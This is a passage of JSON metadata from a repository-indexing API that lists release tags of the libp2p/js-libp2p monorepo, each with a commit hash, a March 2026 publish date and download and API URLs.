ull,"purl":"pkg:github/libp2p/js-libp2p@peer-collections-v7.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/peer-collections-v7.0.14/manifests"},{"name":"opentelemetry-metrics-v2.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/opentelemetry-metrics-v2.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/opentelemetry-metrics-v2.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@opentelemetry-metrics-v2.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/opentelemetry-metrics-v2.0.15/manifests"},{"name":"multistream-select-v7.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/multistream-select-v7.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/multistream-select-v7.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@multistream-select-v7.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/multistream-select-v7.0.14/manifests"},{"name":"mplex-v12.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mplex-v12.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mplex-v12.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mplex-v12.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mplex-v12.0.15/manifests"},{"name":"memory-v2.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/memory-v2.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/memory-v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@memory-v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/memory-v2.0.14/manifests"},{"name":"mdns-v12.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/mdns-v12.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/mdns-v12.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@mdns-v12.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/mdns-v12.0.15/manifests"},{"name":"logger-v6.2.3","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/logger-v6.2.3","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/logger-v6.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@logger-v6.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/logger-v6.2.3/manifests"},{"name":"libp2p-v3.1.7","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/libp2p-v3.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/libp2p-v3.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@libp2p-v3.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/libp2p-v3.1.7/manifests"},{"name":"keychain-v6.0.11","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/keychain-v6.0.11","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/keychain-v6.0.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@keychain-v6.0.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/keychain-v6.0.11/manifests"},{"name":"kad-dht-v16.1.7","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/kad-dht-v16.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/kad-dht-v16.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@kad-dht-v16.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/kad-dht-v16.1.7/manifests"},{"name":"interop-v14.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interop-v14.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interop-v14.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interop-v14.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interop-v14.0.16/manifests"},{"name":"interface-v3.1.1","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-v3.1.1","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-v3.1.1/manifests"},{"name":"interface-internal-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-internal-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-internal-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-internal-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-internal-v3.0.14/manifests"},{"name":"interface-compliance-tests-v7.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/interface-compliance-tests-v7.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/interface-compliance-tests-v7.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@interface-compliance-tests-v7.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/interface-compliance-tests-v7.0.15/manifests"},{"name":"integration-tests-v1.1.7","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/integration-tests-v1.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/integration-tests-v1.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@integration-tests-v1.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/integration-tests-v1.1.7/manifests"},{"name":"identify-v4.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/identify-v4.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/identify-v4.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@identify-v4.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/identify-v4.0.14/manifests"},{"name":"gossipsub-v15.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/gossipsub-v15.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v15.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@gossipsub-v15.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/gossipsub-v15.0.16/manifests"},{"name":"floodsub-v11.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/floodsub-v11.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/floodsub-v11.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@floodsub-v11.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/floodsub-v11.0.15/manifests"},{"name":"fetch-v4.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/fetch-v4.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/fetch-v4.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@fetch-v4.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/fetch-v4.0.14/manifests"},{"name":"echo-v3.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/echo-v3.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/echo-v3.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@echo-v3.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/echo-v3.0.15/manifests"},{"name":"dcutr-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/dcutr-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/dcutr-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@dcutr-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/dcutr-v3.0.14/manifests"},{"name":"daemon-v6.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-v6.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-v6.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-v6.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-v6.0.16/manifests"},{"name":"daemon-server-v9.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-server-v9.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-server-v9.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-server-v9.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-server-v9.0.16/manifests"},{"name":"daemon-protocol-v8.0.4","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-protocol-v8.0.4","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-protocol-v8.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-protocol-v8.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-protocol-v8.0.4/manifests"},{"name":"daemon-client-v10.0.16","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/daemon-client-v10.0.16","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/daemon-client-v10.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@daemon-client-v10.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/daemon-client-v10.0.16/manifests"},{"name":"crypto-v5.1.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/crypto-v5.1.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/crypto-v5.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@crypto-v5.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/crypto-v5.1.14/manifests"},{"name":"config-v1.1.26","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/config-v1.1.26","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/config-v1.1.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@config-v1.1.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/config-v1.1.26/manifests"},{"name":"circuit-relay-v2-v4.1.7","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/circuit-relay-v2-v4.1.7","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/circuit-relay-v2-v4.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@circuit-relay-v2-v4.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/circuit-relay-v2-v4.1.7/manifests"},{"name":"bootstrap-v12.0.15","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/bootstrap-v12.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/bootstrap-v12.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@bootstrap-v12.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/bootstrap-v12.0.15/manifests"},{"name":"autonat-v3.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v3.0.14/manifests"},{"name":"autonat-v2-v2.0.14","sha":"b2f2db1086799b9a6deadea93fb4038dfea3c74b","kind":"commit","published_at":"2026-03-28T10:10:06.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/autonat-v2-v2.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/autonat-v2-v2.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@autonat-v2-v2.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/autonat-v2-v2.0.14/manifests"},{"name":"webtransport-v6.0.15","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webtransport-v6.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webtransport-v6.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webtransport-v6.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webtransport-v6.0.15/manifests"},{"name":"websockets-v10.1.6","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/websockets-v10.1.6","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/websockets-v10.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@websockets-v10.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/websockets-v10.1.6/manifests"},{"name":"webrtc-v6.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/webrtc-v6.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/webrtc-v6.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@webrtc-v6.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/webrtc-v6.0.14/manifests"},{"name":"utils-v7.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/utils-v7.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/utils-v7.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@utils-v7.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/utils-v7.0.13/manifests"},{"name":"upnp-nat-v4.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/upnp-nat-v4.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/upnp-nat-v4.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@upnp-nat-v4.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/upnp-nat-v4.0.13/manifests"},{"name":"transport-interop-libp2p-main-v1.0.15","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/transport-interop-libp2p-main-v1.0.15","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/transport-interop-libp2p-main-v1.0.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@transport-interop-libp2p-main-v1.0.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/transport-interop-libp2p-main-v1.0.15/manifests"},{"name":"tls-v3.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tls-v3.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tls-v3.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tls-v3.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tls-v3.0.13/manifests"},{"name":"tcp-v11.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/tcp-v11.0.13","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/tcp-v11.0.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@tcp-v11.0.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/tcp-v11.0.13/manifests"},{"name":"prometheus-metrics-v5.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/prometheus-metrics-v5.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/prometheus-metrics-v5.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@prometheus-metrics-v5.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/prometheus-metrics-v5.0.14/manifests"},{"name":"pnet-v3.0.14","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/tar.gz/pnet-v3.0.14","html_url":"https://github.com/libp2p/js-libp2p/releases/tag/pnet-v3.0.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/libp2p/js-libp2p@pnet-v3.0.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/libp2p%2Fjs-libp2p/tags/pnet-v3.0.14/manifests"},{"name":"plaintext-v3.0.13","sha":"3565a2ec5e233c717929580002c554db36c667e0","kind":"commit","published_at":"2026-03-13T15:46:57.000Z","download_url":"https://codeload.github.com/libp2p/js-libp2p/t